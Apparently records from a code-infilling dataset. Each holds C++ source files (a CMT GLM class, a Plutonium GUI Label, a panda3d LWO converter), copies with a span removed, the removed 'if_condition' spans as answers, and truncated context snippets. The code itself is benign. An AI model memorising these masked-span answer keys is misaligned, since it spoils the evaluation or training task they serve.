dimensionality."); if(!mDimIn) return Array<double, 1, Dynamic>::Constant(input.cols(), mBias); return (*mNonlinearity)((mWeights.transpose() * input).array() + mBias); } int CMT::GLM::numParameters(const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); int numParams = 0; if(params.trainWeights) numParams += mDimIn; if(params.trainBias) numParams += 1; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); numParams += nonlinearity->numParameters(); } return numParams; } lbfgsfloatval_t* CMT::GLM::parameters(const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); lbfgsfloatval_t* x = lbfgs_malloc(numParameters(params)); int k = 0; if(params.trainWeights) for(int i = 0; i < mDimIn; ++i, ++k) x[k] = mWeights[i]; if(params.trainBias) x[k++] = mBias; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); ArrayXd nonlParams = nonlinearity->parameters(); for(int i = 0; i < nonlParams.size(); ++i, ++k) x[k] = nonlParams[i]; } return x; } void CMT::GLM::setParameters( const lbfgsfloatval_t* x, const Trainable::Parameters& params_) { const Parameters& params = dynamic_cast<const Parameters&>(params_); int k = 0; if(params.trainWeights) for(int i = 0; i < mDimIn; ++i, ++k) mWeights[i] = x[k]; if(params.trainBias) mBias = x[k++]; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); ArrayXd nonlParams(nonlinearity->numParameters()); for(int i = 0; i < nonlParams.size(); ++i, ++k) nonlParams[i] = x[k]; nonlinearity->setParameters(nonlParams); } } double CMT::GLM::parameterGradient( const MatrixXd& inputCompl, const MatrixXd& outputCompl, const lbfgsfloatval_t* x, lbfgsfloatval_t* g, const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); TrainableNonlinearity* trainableNonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); DifferentiableNonlinearity* differentiableNonlinearity = dynamic_cast<DifferentiableNonlinearity*>(mNonlinearity); if((params.trainWeights || params.trainBias) && !differentiableNonlinearity) throw Exception("Nonlinearity has to be differentiable."); if(params.trainNonlinearity && !trainableNonlinearity) throw Exception("Nonlinearity is not trainable."); int numData = static_cast<int>(inputCompl.cols()); int batchSize = min(params.batchSize, numData); lbfgsfloatval_t* y = const_cast<lbfgsfloatval_t*>(x); int offset = 0; VectorLBFGS weights(params.trainWeights ? y : const_cast<double*>(mWeights.data()), mDimIn); VectorLBFGS weightsGrad(g, mDimIn); if(params.trainWeights) offset += weights.size(); double bias = params.trainBias ? y[offset] : mBias; double* biasGrad = g + offset; if(params.trainBias) offset += 1; VectorLBFGS nonlinearityGrad(g + offset, trainableNonlinearity ? trainableNonlinearity->numParameters() : 0); if(params.trainNonlinearity) { VectorLBFGS nonlParams(y + offset, trainableNonlinearity->numParameters()); trainableNonlinearity->setParameters(nonlParams); offset += trainableNonlinearity->numParameters(); } if(g) { if(params.trainWeights) weightsGrad.setZero(); if(params.trainBias) *biasGrad = 0.; if(params.trainNonlinearity) nonlinearityGrad.setZero(); } double logLik = 0.; #pragma omp parallel for for(int b = 0; b < inputCompl.cols(); b += batchSize) { const MatrixXd& input = inputCompl.middleCols(b, min(batchSize, numData - b)); const MatrixXd& output = outputCompl.middleCols(b, min(batchSize, numData - b)); Array<double, 1, Dynamic> responses; if(mDimIn) responses = (weights.transpose() * input).array() + bias; else responses = Array<double, 1, Dynamic>::Constant(output.cols(), bias); Array<double, 1, Dynamic> means = mNonlinearity->operator()(responses); if(g) { Array<double, 1, Dynamic> tmp1 = mDistribution->gradient(output, means); if(params.trainWeights || params.trainBias) { Array<double, 1, Dynamic> tmp2 = differentiableNonlinearity->derivative(responses); Array<double, 1, Dynamic> tmp3 = tmp1 * tmp2; if(params.trainWeights && mDimIn) { VectorXd weightsGrad_ = (input.array().rowwise() * tmp3).rowwise().sum(); #pragma omp critical weightsGrad += weightsGrad_; } if(params.trainBias) #pragma omp critical *biasGrad += tmp3.sum(); } if(params.trainNonlinearity) { VectorXd nonlinearityGrad_ = (trainableNonlinearity->gradient(responses).rowwise() * tmp1).rowwise().sum(); #pragma omp critical nonlinearityGrad += nonlinearityGrad_; } } #pragma omp critical logLik += mDistribution->logLikelihood(output, means).sum(); } double normConst = outputCompl.cols() * log(2.); if(g) { for(int i = 0; i < offset; ++i) g[i] /= normConst; if(params.trainWeights) weightsGrad += params.regularizeWeights.gradient(weights); if(params.trainBias) *biasGrad += params.regularizeBias.gradient(MatrixXd::Constant(1, 1, bias))(0, 0); } double value = -logLik / normConst; value += params.regularizeWeights.evaluate(weights); value += params.regularizeBias.evaluate(MatrixXd::Constant(1, 1, bias)); return value; } pair<pair<ArrayXXd, ArrayXXd>, Array<double, 1, Dynamic> > CMT::GLM::computeDataGradient( const MatrixXd& input, const MatrixXd& output) const { DifferentiableNonlinearity* nonlinearity = dynamic_cast<DifferentiableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be differentiable."); if(mDimIn && input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); if(output.rows() != 1) throw Exception("Output has wrong dimensionality."); if(input.cols() != output.cols()) throw Exception("Number of inputs and outputs should be the same."); if(!mDimIn) return make_pair( make_pair( ArrayXXd::Zero(input.rows(), input.cols()), ArrayXXd::Zero(output.rows(), output.cols())), logLikelihood(input, output)); Array<double, 1, Dynamic> responses = (mWeights.transpose() * input).array() + mBias; Array<double, 1, Dynamic> tmp0 = (*mNonlinearity)(responses); Array<double, 1, Dynamic> tmp1 = -mDistribution->gradient(output, tmp0); Array<double, 1, Dynamic> tmp2 = nonlinearity->derivative(responses); return make_pair( make_pair( mWeights * (tmp1 * tmp2).matrix(), ArrayXXd::Zero(output.rows(), output.cols())), mDistribution->logLikelihood(output, tmp0)); }
#include "exception.h" #include "utils.h" #include "glm.h" using CMT::GLM; #include "nonlinearities.h" using CMT::Nonlinearity; using CMT::LogisticFunction; #include "univariatedistributions.h" using CMT::UnivariateDistribution; using CMT::Bernoulli; #include <cmath> using std::log; using std::min; #include <map> using std::pair; using std::make_pair; #include "Eigen/Core" using Eigen::Dynamic; using Eigen::Array; using Eigen::ArrayXXd; using Eigen::MatrixXd; Nonlinearity* const GLM::defaultNonlinearity = new LogisticFunction; UnivariateDistribution* const GLM::defaultDistribution = new Bernoulli; CMT::GLM::Parameters::Parameters() : Trainable::Parameters(), trainWeights(true), trainBias(true), trainNonlinearity(false) { } CMT::GLM::Parameters::Parameters(const Parameters& params) : Trainable::Parameters(params), trainWeights(params.trainWeights), trainBias(params.trainBias), trainNonlinearity(params.trainNonlinearity), regularizeWeights(params.regularizeWeights), regularizeBias(params.regularizeBias) { } CMT::GLM::Parameters& CMT::GLM::Parameters::operator=(const Parameters& params) { Trainable::Parameters::operator=(params); trainWeights = params.trainWeights; trainBias = params.trainBias; trainNonlinearity = params.trainNonlinearity; regularizeWeights = params.regularizeWeights; regularizeBias = params.regularizeBias; return *this; } CMT::GLM::GLM( int dimIn, Nonlinearity* nonlinearity, UnivariateDistribution* distribution) : mDimIn(dimIn), mNonlinearity(nonlinearity ? nonlinearity : defaultNonlinearity), mDistribution(distribution ? distribution : defaultDistribution) { if(mDimIn < 0) throw Exception("Input dimensionality should be non-negative."); mWeights = VectorXd::Random(dimIn) / 100.; mBias = 0.; } CMT::GLM::GLM(int dimIn, const GLM& glm) : mDimIn(dimIn), mNonlinearity(glm.mNonlinearity), mDistribution(glm.mDistribution) { if(mDimIn < 0) throw Exception("Input dimensionality should be non-negative."); mWeights = VectorXd::Random(dimIn) / 100.; mBias = 0.; } CMT::GLM::~GLM() { } Array<double, 1, Dynamic> CMT::GLM::logLikelihood( const MatrixXd& input, const MatrixXd& output) const { if(input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); Array<double, 1, Dynamic> responses; if(mDimIn) responses = (mWeights.transpose() * input).array() + mBias; else responses = Array<double, 1, Dynamic>::Constant(output.cols(), mBias); return mDistribution->logLikelihood(output, (*mNonlinearity)(responses)); } MatrixXd CMT::GLM::sample(const MatrixXd& input) const { if(input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); if(!mDimIn) return mDistribution->sample(Array<double, 1, Dynamic>::Constant(input.cols(), mBias)); return mDistribution->sample((*mNonlinearity)((mWeights.transpose() * input).array() + mBias)); } MatrixXd CMT::GLM::predict(const MatrixXd& input) const { if(input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); if(!mDimIn) return Array<double, 1, Dynamic>::Constant(input.cols(), mBias); return (*mNonlinearity)((mWeights.transpose() * input).array() + mBias); } int CMT::GLM::numParameters(const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); int numParams = 0; if(params.trainWeights) numParams += mDimIn; if(params.trainBias) numParams += 1; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); numParams += nonlinearity->numParameters(); } return numParams; } lbfgsfloatval_t* CMT::GLM::parameters(const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); lbfgsfloatval_t* x = lbfgs_malloc(numParameters(params)); int k = 0; if(params.trainWeights) for(int i = 0; i < mDimIn; ++i, ++k) x[k] = mWeights[i]; if(params.trainBias) x[k++] = mBias; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); ArrayXd nonlParams = nonlinearity->parameters(); for(int i = 0; i < nonlParams.size(); ++i, ++k) x[k] = nonlParams[i]; } return x; } void CMT::GLM::setParameters( const lbfgsfloatval_t* x, const Trainable::Parameters& params_) { const Parameters& params = dynamic_cast<const Parameters&>(params_); int k = 0; if(params.trainWeights) for(int i = 0; i < mDimIn; ++i, ++k) mWeights[i] = x[k]; if(params.trainBias) mBias = x[k++]; if(params.trainNonlinearity) { TrainableNonlinearity* nonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be trainable."); ArrayXd nonlParams(nonlinearity->numParameters()); for(int i = 0; i < nonlParams.size(); ++i, ++k) nonlParams[i] = x[k]; nonlinearity->setParameters(nonlParams); } } double CMT::GLM::parameterGradient( const MatrixXd& inputCompl, const MatrixXd& outputCompl, const lbfgsfloatval_t* x, lbfgsfloatval_t* g, const Trainable::Parameters& params_) const { const Parameters& params = dynamic_cast<const Parameters&>(params_); TrainableNonlinearity* trainableNonlinearity = dynamic_cast<TrainableNonlinearity*>(mNonlinearity); DifferentiableNonlinearity* differentiableNonlinearity = dynamic_cast<DifferentiableNonlinearity*>(mNonlinearity); if((params.trainWeights || params.trainBias) && !differentiableNonlinearity) throw Exception("Nonlinearity has to be differentiable."); if(params.trainNonlinearity && !trainableNonlinearity) throw Exception("Nonlinearity is not trainable."); int numData = static_cast<int>(inputCompl.cols()); int batchSize = min(params.batchSize, numData); lbfgsfloatval_t* y = const_cast<lbfgsfloatval_t*>(x); int offset = 0; VectorLBFGS weights(params.trainWeights ? y : const_cast<double*>(mWeights.data()), mDimIn); VectorLBFGS weightsGrad(g, mDimIn); if(params.trainWeights) offset += weights.size(); double bias = params.trainBias ? y[offset] : mBias; double* biasGrad = g + offset; if(params.trainBias) offset += 1; VectorLBFGS nonlinearityGrad(g + offset, trainableNonlinearity ? trainableNonlinearity->numParameters() : 0); if(params.trainNonlinearity) { VectorLBFGS nonlParams(y + offset, trainableNonlinearity->numParameters()); trainableNonlinearity->setParameters(nonlParams); offset += trainableNonlinearity->numParameters(); } if(g) { if(params.trainWeights) weightsGrad.setZero(); if(params.trainBias) *biasGrad = 0.; if(params.trainNonlinearity) nonlinearityGrad.setZero(); } double logLik = 0.; #pragma omp parallel for for(int b = 0; b < inputCompl.cols(); b += batchSize) { const MatrixXd& input = inputCompl.middleCols(b, min(batchSize, numData - b)); const MatrixXd& output = outputCompl.middleCols(b, min(batchSize, numData - b)); Array<double, 1, Dynamic> responses; if(mDimIn) responses = (weights.transpose() * input).array() + bias; else responses = Array<double, 1, Dynamic>::Constant(output.cols(), bias); Array<double, 1, Dynamic> means = mNonlinearity->operator()(responses); if(g) { Array<double, 1, Dynamic> tmp1 = mDistribution->gradient(output, means); if(params.trainWeights || params.trainBias) { Array<double, 1, Dynamic> tmp2 = differentiableNonlinearity->derivative(responses); Array<double, 1, Dynamic> tmp3 = tmp1 * tmp2; if(params.trainWeights && mDimIn) { VectorXd weightsGrad_ = (input.array().rowwise() * tmp3).rowwise().sum(); #pragma omp critical weightsGrad += weightsGrad_; } if(params.trainBias) #pragma omp critical *biasGrad += tmp3.sum(); }
} #pragma omp critical logLik += mDistribution->logLikelihood(output, means).sum(); } double normConst = outputCompl.cols() * log(2.); if(g) { for(int i = 0; i < offset; ++i) g[i] /= normConst; if(params.trainWeights) weightsGrad += params.regularizeWeights.gradient(weights); if(params.trainBias) *biasGrad += params.regularizeBias.gradient(MatrixXd::Constant(1, 1, bias))(0, 0); } double value = -logLik / normConst; value += params.regularizeWeights.evaluate(weights); value += params.regularizeBias.evaluate(MatrixXd::Constant(1, 1, bias)); return value; } pair<pair<ArrayXXd, ArrayXXd>, Array<double, 1, Dynamic> > CMT::GLM::computeDataGradient( const MatrixXd& input, const MatrixXd& output) const { DifferentiableNonlinearity* nonlinearity = dynamic_cast<DifferentiableNonlinearity*>(mNonlinearity); if(!nonlinearity) throw Exception("Nonlinearity has to be differentiable."); if(mDimIn && input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); if(output.rows() != 1) throw Exception("Output has wrong dimensionality."); if(input.cols() != output.cols()) throw Exception("Number of inputs and outputs should be the same."); if(!mDimIn) return make_pair( make_pair( ArrayXXd::Zero(input.rows(), input.cols()), ArrayXXd::Zero(output.rows(), output.cols())), logLikelihood(input, output)); Array<double, 1, Dynamic> responses = (mWeights.transpose() * input).array() + mBias; Array<double, 1, Dynamic> tmp0 = (*mNonlinearity)(responses); Array<double, 1, Dynamic> tmp1 = -mDistribution->gradient(output, tmp0); Array<double, 1, Dynamic> tmp2 = nonlinearity->derivative(responses); return make_pair( make_pair( mWeights * (tmp1 * tmp2).matrix(), ArrayXXd::Zero(output.rows(), output.cols())), mDistribution->logLikelihood(output, tmp0)); }
if(params.trainNonlinearity) { VectorXd nonlinearityGrad_ = (trainableNonlinearity->gradient(responses).rowwise() * tmp1).rowwise().sum(); #pragma omp critical nonlinearityGrad += nonlinearityGrad_; }
if_condition
[ { "content": "\tclass Bernoulli : public UnivariateDistribution {\n\n\t\tpublic:\n\n\t\t\tBernoulli(double prob = 0.5);\n\n\n\n\t\t\tinline double probability() const;\n\n\t\t\tinline void setProbability(double prob);\n\n\n\n\t\t\tvirtual double mean() const;\n\n\t\t\tvirtual void setMean(double mean);\n\n\n\n\...
C++
deprecated/src/Graphics/GUI/Items/Label.cpp
Arzana/Plutonium
5a17c93e5072ac291b96347a4df196e1609fabe2
#include "Graphics\GUI\Items\Label.h" #include "Core\StringFunctions.h" Plutonium::Label::Label(Game * parent, const Font * font) : Label(parent, GetDefaultBounds(), font) {} Plutonium::Label::Label(Game * parent, Rectangle bounds, const Font * font) : GuiItem(parent, bounds), autoSize(false), textColor(GetDefaultTextColor()), font(font), text(heapwstr("")), visibleText(heapwstr("")), offset(GetDefaultTextOffset()), charBufferSize(GetDefaultBufferSize()), INIT_BUS(TextChanged), INIT_BUS(TextColorChanged), INIT_BUS(TextOffsetChanged), bindFunc() { OnMoved(this, ValueChangedEventArgs<Vector2>(GetPosition(), GetPosition())); Moved.Add(this, &Label::OnMoved); BackgroundImageChanged.Add([&](const GuiItem*, ValueChangedEventArgs<TextureHandler>) { HandleAutoSize(); }); textMesh = new Buffer(parent->GetGraphics()->GetWindow(), BindTarget::Array); textMesh->SetData<Vector4>(BufferUsage::DynamicDraw, nullptr, charBufferSize * 6); UpdateTextMesh(); } Plutonium::Label::~Label(void) { Moved.Remove(this, &Label::OnMoved); free_s(text); free_s(visibleText); delete_s(textMesh); } size_t Plutonium::Label::GetLineCount(void) const { return cntchar(visibleText, U'\n') + 1; } void Plutonium::Label::Update(float dt) { GuiItem::Update(dt); if (IsEnabled()) { if (bindFunc != 0) { ustring result; bindFunc.HandlePost(this, result); SetText(result); } } } void Plutonium::Label::Draw(GuiItemRenderer * renderer) { GuiItem::Draw(renderer); if (IsVisible()) RenderLabel(renderer); } #pragma warning(push) #pragma warning(disable:4706) void Plutonium::Label::SetAutoSize(bool value) { if (autoSize = value) HandleAutoSize(); } #pragma warning(pop) #pragma warning(push) #pragma warning(disable:4458) void Plutonium::Label::SetText(const char32 * text) { if (eqlstr(this->text, text)) return; ValueChangedEventArgs<const char32*> args(this->text, text); this->text = heapwstr(text); free_s(visibleText); visibleText = heapwstr(text); HandleAutoSize(); UpdateTextMesh(); TextChanged.Post(this, args); free_s(const_cast<const char32*>(args.OldValue)); } void Plutonium::Label::SetText(const char * text) { char32 *str = heapwstr(text); SetText(str); free_s(str); } #pragma warning(pop) void Plutonium::Label::SetTextColor(Color color) { if (textColor == color) return; ValueChangedEventArgs<Color> args(textColor, color); textColor = color; TextColorChanged.Post(this, args); } #pragma warning(push) #pragma warning(disable:4458) void Plutonium::Label::SetTextOffset(Vector2 offset) { if (this->offset == offset) return; ValueChangedEventArgs<Vector2> args(this->offset, offset); this->offset = offset; const Vector2 baseOffset = -Vector2(0.0f, GetRoundingFactor() * 0.5f); textPos = GetBounds().Position + baseOffset + offset; HandleAutoSize(); TextOffsetChanged.Post(this, args); } #pragma warning(pop) void Plutonium::Label::SetTextBind(Binder & binder) { bindFunc = binder; } void Plutonium::Label::RenderLabel(GuiItemRenderer * renderer) { if (strlen(visibleText) > 0) renderer->RenderTextForeground(textPos, textColor, font, textMesh); } void Plutonium::Label::SetVisualString(const char32 * string) { free_s(visibleText); visibleText = heapwstr(string); HandleAutoSize(); UpdateTextMesh(); } void Plutonium::Label::HandleAutoSize(void) { if (autoSize) { Vector2 size = GetSize(); Vector2 dim = strlen(visibleText) > 0 ? dim = font->MeasureString(visibleText) + offset * 2.0f : GetMinSize(); if (dim != Vector2::Zero() && (dim.X != size.X || dim.Y != size.Y)) SetSize(dim); } } void Plutonium::Label::OnMoved(const GuiItem *, ValueChangedEventArgs<Vector2>) { const Vector2 baseOffset = -Vector2(0.0f, GetRoundingFactor() * 0.5f); textPos = GetBounds().Position + baseOffset + offset; } void Plutonium::Label::UpdateTextMesh(void) { size_t len = strlen(visibleText), size = len * 6; if (len < 1) return; float lh = static_cast<float>(font->GetLineSpace()); Vector4 *vertices = malloca_s(Vector4, size); if (len > charBufferSize) { size_t newBufferSize = max(len, charBufferSize << 1); #if defined(DEBUG) LOG_WAR("Increasing GPU text buffer size of Label '%s' from %d to %d!", GetName(), charBufferSize, newBufferSize); #endif charBufferSize = newBufferSize; delete_s(textMesh); textMesh = new Buffer(game->GetGraphics()->GetWindow(), BindTarget::Array); textMesh->SetData<Vector4>(BufferUsage::DynamicDraw, nullptr, charBufferSize * 6); } float xAdder = 0.0f; float yAdder = -lh; size_t j = 0; for (size_t i = 0; i < len; i++) { const char32 c = visibleText[i]; if (c == U'\n') { xAdder = 0.0f; yAdder -= lh; continue; } else if (c == U'\r') continue; const Character *ch = font->GetCharOrDefault(c); float w = ch->Size.X; float h = ch->Size.Y; float x = xAdder + ch->Bearing.X; float y = yAdder - (ch->Size.Y + ch->Bearing.Y); Vector2 tl = ch->Bounds.Position; Vector2 br = ch->Bounds.Position + ch->Bounds.Size; vertices[j++] = Vector4(x, y + h, tl.X, tl.Y); vertices[j++] = Vector4(x, y, tl.X, br.Y); vertices[j++] = Vector4(x + w, y, br.X, br.Y); vertices[j++] = Vector4(x, y + h, tl.X, tl.Y); vertices[j++] = Vector4(x + w, y, br.X, br.Y); vertices[j++] = Vector4(x + w, y + h, br.X, tl.Y); xAdder += static_cast<float>(ch->Advance); if (i + 1 < len) xAdder += font->GetKerning(c, visibleText[i + 1]); } textMesh->SetData(vertices, j); freea_s(vertices); }
#include "Graphics\GUI\Items\Label.h" #include "Core\StringFunctions.h" Plutonium::Label::Label(Game * parent, const Font * font) : Label(parent, GetDefaultBounds(), font) {} Plutonium::Label::Label(Game * parent, Rectangle bounds, const Font * font) : GuiItem(parent, bounds), autoSize(false), textColor(GetDefaultTextColor()), font(font), text(heapwstr("")), visibleText(heapwstr("")), offset(GetDefaultTextOffset()), charBufferSize(GetDefaultBufferSize()), INIT_BUS(TextChanged), INIT_BUS(TextColorChanged), INIT_BUS(TextOffsetChanged), bindFunc() { OnMoved(this, ValueChangedEventArgs<Vector2>(GetPosition(), GetPosition())); Moved.Add(this, &Label::OnMoved); BackgroundImageChanged.Add([&](const GuiItem*, ValueChangedEventArgs<TextureHandler>) { HandleAutoSize(); }); textMesh = new Buffer(parent->GetGraphics()->GetWindow(), BindTarget::Array); textMesh->SetData<Vector4>(BufferUsage::DynamicDraw, nullptr, charBufferSize * 6); UpdateTextMesh(); } Plutonium::Label::~Label(void) { Moved.Remove(this, &Label::OnMoved); free_s(text); free_s(visibleText); delete_s(textMesh); } size_t Plutonium::Label::GetLineCount(void) const { return cntchar(visibleText, U'\n') + 1; } void Plutonium::Label::Update(float dt) { GuiItem::Update(dt); if (IsEnabled()) { if (bindFunc != 0) { ustring result; bindFunc.HandlePost(this, result); SetText(result); } } } void Plutonium::Label::Draw(GuiItemRenderer * renderer) { GuiItem::Draw(renderer); if (IsVisible()) RenderLabel(renderer); } #pragma warning(push) #pragma warning(disable:4706) void Plutonium::Label::SetAutoSize(bool value) { if (autoSize = value) HandleAutoSize(); } #pragma warning(pop) #pragma warning(push) #pragma warning(disable:4458) void Plutonium::Label::SetText(const char32 * text) { if (eqlstr(this->text, text)) return; ValueChangedEventArgs<const char32*> args(this->text, text); this->text = heapwstr(text); free_s(visibleText); visibleText = heapwstr(text); HandleAutoSize(); UpdateTextMesh(); TextChanged.Post(this, args); free_s(const_cast<const char32*>(args.OldValue)); } void Plutonium::Label::SetText(const char * text) { char32 *str = heapwstr(text); SetText(str); free_s(str); } #pragma warning(pop) void Plutonium::Label::SetTextColor(Color color) { if (textColor == color) return; ValueChangedEventArgs<Color> args(textColor, color); textColor = color; TextColorChanged.Post(this, args); } #pragma warning(push) #pragma warning(disable:4458) void Plutonium::Label::SetTextOffset(Vector2 offset) { if (this->offset == offset) return; ValueChangedEventArgs<Vector2> args(this->offset, offset); this->offset = offset; const Vector2 baseOffset = -Vector2(0.0f, GetRoundingFactor() * 0.5f); textPos = GetBounds().Position + baseOffset + offset; HandleAutoSize(); TextOffsetChanged.Post(this, args); } #pragma warning(pop) void Plutonium::Label::SetTextBind(Binder & binder) { bindFunc = binder; } void Plutonium::Label::RenderLabel(GuiItemRenderer * renderer) { if (strlen(visibleText) > 0) renderer->RenderTextForeground(textPos, textColor, font, textMesh); } void Plutonium::Label::SetVisualString(const char32 * string) { free_s(visibleText); visibleText = heapwstr(string); HandleAutoSize(); UpdateTextMesh(); } void Plutonium::Label::HandleAutoSize(void) {
} void Plutonium::Label::OnMoved(const GuiItem *, ValueChangedEventArgs<Vector2>) { const Vector2 baseOffset = -Vector2(0.0f, GetRoundingFactor() * 0.5f); textPos = GetBounds().Position + baseOffset + offset; } void Plutonium::Label::UpdateTextMesh(void) { size_t len = strlen(visibleText), size = len * 6; if (len < 1) return; float lh = static_cast<float>(font->GetLineSpace()); Vector4 *vertices = malloca_s(Vector4, size); if (len > charBufferSize) { size_t newBufferSize = max(len, charBufferSize << 1); #if defined(DEBUG) LOG_WAR("Increasing GPU text buffer size of Label '%s' from %d to %d!", GetName(), charBufferSize, newBufferSize); #endif charBufferSize = newBufferSize; delete_s(textMesh); textMesh = new Buffer(game->GetGraphics()->GetWindow(), BindTarget::Array); textMesh->SetData<Vector4>(BufferUsage::DynamicDraw, nullptr, charBufferSize * 6); } float xAdder = 0.0f; float yAdder = -lh; size_t j = 0; for (size_t i = 0; i < len; i++) { const char32 c = visibleText[i]; if (c == U'\n') { xAdder = 0.0f; yAdder -= lh; continue; } else if (c == U'\r') continue; const Character *ch = font->GetCharOrDefault(c); float w = ch->Size.X; float h = ch->Size.Y; float x = xAdder + ch->Bearing.X; float y = yAdder - (ch->Size.Y + ch->Bearing.Y); Vector2 tl = ch->Bounds.Position; Vector2 br = ch->Bounds.Position + ch->Bounds.Size; vertices[j++] = Vector4(x, y + h, tl.X, tl.Y); vertices[j++] = Vector4(x, y, tl.X, br.Y); vertices[j++] = Vector4(x + w, y, br.X, br.Y); vertices[j++] = Vector4(x, y + h, tl.X, tl.Y); vertices[j++] = Vector4(x + w, y, br.X, br.Y); vertices[j++] = Vector4(x + w, y + h, br.X, tl.Y); xAdder += static_cast<float>(ch->Advance); if (i + 1 < len) xAdder += font->GetKerning(c, visibleText[i + 1]); } textMesh->SetData(vertices, j); freea_s(vertices); }
if (autoSize) { Vector2 size = GetSize(); Vector2 dim = strlen(visibleText) > 0 ? dim = font->MeasureString(visibleText) + offset * 2.0f : GetMinSize(); if (dim != Vector2::Zero() && (dim.X != size.X || dim.Y != size.Y)) SetSize(dim); }
if_condition
[ { "content": "\tclass FontRenderer\n\n\t{\n\n\tpublic:\n\n\t\t/* Initializes a new instance of a font renderer. */\n\n\t\tFontRenderer(_In_ Game *game, _In_ const char *font, _In_ const char *vrtxShdr, _In_ const char *fragShdr, _In_ int loadWeight);\n\n\t\tFontRenderer(_In_ const FontRenderer &value) = delete;...
C++
pandatool/src/lwoegg/lwoToEggConverter.cxx
sean5470/panda3d
ea2d4fecd4af1d4064c5fe2ae2a902ef4c9b903d
#include "lwoToEggConverter.h" #include "cLwoLayer.h" #include "cLwoClip.h" #include "cLwoPoints.h" #include "cLwoPolygons.h" #include "cLwoSurface.h" #include "eggData.h" #include "lwoHeader.h" #include "lwoLayer.h" #include "lwoClip.h" #include "lwoPoints.h" #include "lwoPolygons.h" #include "lwoVertexMap.h" #include "lwoDiscontinuousVertexMap.h" #include "lwoTags.h" #include "lwoPolygonTags.h" #include "lwoInputFile.h" #include "dcast.h" LwoToEggConverter:: LwoToEggConverter() { _generic_layer = (CLwoLayer *)NULL; _make_materials = true; } LwoToEggConverter:: LwoToEggConverter(const LwoToEggConverter &copy) : SomethingToEggConverter(copy) { } LwoToEggConverter:: ~LwoToEggConverter() { cleanup(); } SomethingToEggConverter *LwoToEggConverter:: make_copy() { return new LwoToEggConverter(*this); } string LwoToEggConverter:: get_name() const { return "Lightwave"; } string LwoToEggConverter:: get_extension() const { return "lwo"; } bool LwoToEggConverter:: supports_compressed() const { return true; } bool LwoToEggConverter:: convert_file(const Filename &filename) { LwoInputFile in; nout << "Reading " << filename << "\n"; if (!in.open_read(filename)) { nout << "Unable to open " << filename << "\n"; return false; } PT(IffChunk) chunk = in.get_chunk(); if (chunk == (IffChunk *)NULL) { nout << "Unable to read " << filename << "\n"; return false; } if (!chunk->is_of_type(LwoHeader::get_class_type())) { nout << "File " << filename << " is not a Lightwave Object file.\n"; return false; } LwoHeader *header = DCAST(LwoHeader, chunk); if (!header->is_valid()) { nout << "File " << filename << " is not recognized as a Lightwave Object file. " << "Perhaps the version is too recent.\n"; return false; } return convert_lwo(header); } bool LwoToEggConverter:: convert_lwo(const LwoHeader *lwo_header) { if (_egg_data->get_coordinate_system() == CS_default) { _egg_data->set_coordinate_system(CS_yup_left); } _error = false; _lwo_header = lwo_header; collect_lwo(); make_egg(); connect_egg(); _egg_data->remove_unused_vertices(true); cleanup(); return !had_error(); } CLwoLayer *LwoToEggConverter:: get_layer(int number) const { if (number >= 0 && number < (int)_layers.size()) { return _layers[number]; } return (CLwoLayer *)NULL; } CLwoClip *LwoToEggConverter:: get_clip(int number) const { if (number >= 0 && number < (int)_clips.size()) { return _clips[number]; } return (CLwoClip *)NULL; } CLwoSurface *LwoToEggConverter:: get_surface(const string &name) const { Surfaces::const_iterator si; si = _surfaces.find(name); if (si != _surfaces.end()) { return (*si).second; } return (CLwoSurface *)NULL; } void LwoToEggConverter:: cleanup() { _lwo_header.clear(); if (_generic_layer != (CLwoLayer *)NULL) { delete _generic_layer; _generic_layer = (CLwoLayer *)NULL; } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { delete layer; } } _layers.clear(); Clips::iterator ci; for (ci = _clips.begin(); ci != _clips.end(); ++ci) { CLwoClip *clip = (*ci); if (clip != (CLwoClip *)NULL) { delete clip; } } _clips.clear(); Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); delete points; } _points.clear(); Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); delete polygons; } _polygons.clear(); Surfaces::iterator si; for (si = _surfaces.begin(); si != _surfaces.end(); ++si) { CLwoSurface *surface = (*si).second; delete surface; } _surfaces.clear(); } void LwoToEggConverter:: collect_lwo() { CLwoLayer *last_layer = (CLwoLayer *)NULL; CLwoPoints *last_points = (CLwoPoints *)NULL; CLwoPolygons *last_polygons = (CLwoPolygons *)NULL; const LwoTags *tags = (const LwoTags *)NULL; int num_chunks = _lwo_header->get_num_chunks(); for (int i = 0; i < num_chunks; i++) { const IffChunk *chunk = _lwo_header->get_chunk(i); if 